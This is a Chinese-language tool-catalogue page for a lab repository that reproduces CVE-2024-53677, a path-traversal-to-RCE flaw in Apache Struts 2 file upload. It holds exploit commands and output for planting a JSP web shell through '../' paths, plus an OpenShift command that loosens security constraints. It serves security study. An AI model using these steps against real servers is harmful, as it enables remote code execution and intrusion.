Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-53677 — CVE-2024-53677 的脆弱环境与漏洞利用 | Kitploit
工具/GitHubGitHub/seanrickerd/cve-2024-53677
容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubseanrickerd/cve-2024-53677

CVE-2024-53677

CVE-2024-53677 的脆弱环境与漏洞利用

查看仓库
321421年前尚未审核
分享

CVE-2024-53677 - Apache Struts 2 远程代码执行漏洞(RCE)复现环境

该仓库提供了一个基于容器的环境,用于复现 Apache Struts 2 中的 CVE-2024-53677 漏洞。该漏洞涉及路径遍历,并允许通过 Struts 2 的文件上传功能执行任意代码(RCE)。

设置说明

该环境可以使用 Podman 构建和运行。请按照以下步骤来设置应用程序:

git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677 
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677

运行漏洞利用:

pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp

存在一个间歇性问题:文件会上传成功,但无法访问。要解决此问题,你需要在目标路径中添加一个额外的点,然后重新运行原始命令。

$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination .../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: .../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/.../shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[ALERT] File uploaded and accessible: http://localhost:8080/shell.jsp

该 shell 可通过浏览器访问,地址为 http://localhost:8080/shell.jsp

在 OpenShift 中运行

OpenShift 默认是安全的,因此你需要先允许特权容器:

oc adm policy add-scc-to-group anyuid system:authenticated

如果你想自行构建镜像文件,你还需要将以下行添加到 dockerfile 中:

COPY --from=0 /usr/src/cve/target/upload-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

以下 yaml 将创建一个名为 "vulnerables" 的命名空间,并将易受攻击的容器部署为副本数为 1 的 Deployment,同时创建一个 Service 和一个 Route,使你可以访问该易受攻击的工作负载。

如果你自行构建了镜像,则需要更改 yaml 中镜像的位置,以反映你镜像的位置。

oc create -f ocp-struts.yaml 

你可以在 网络->路由 中找到该路由。

OpenShift 路由

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    441
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    264

探索所有工具

浏览我们的工具集合

查看所有工具 →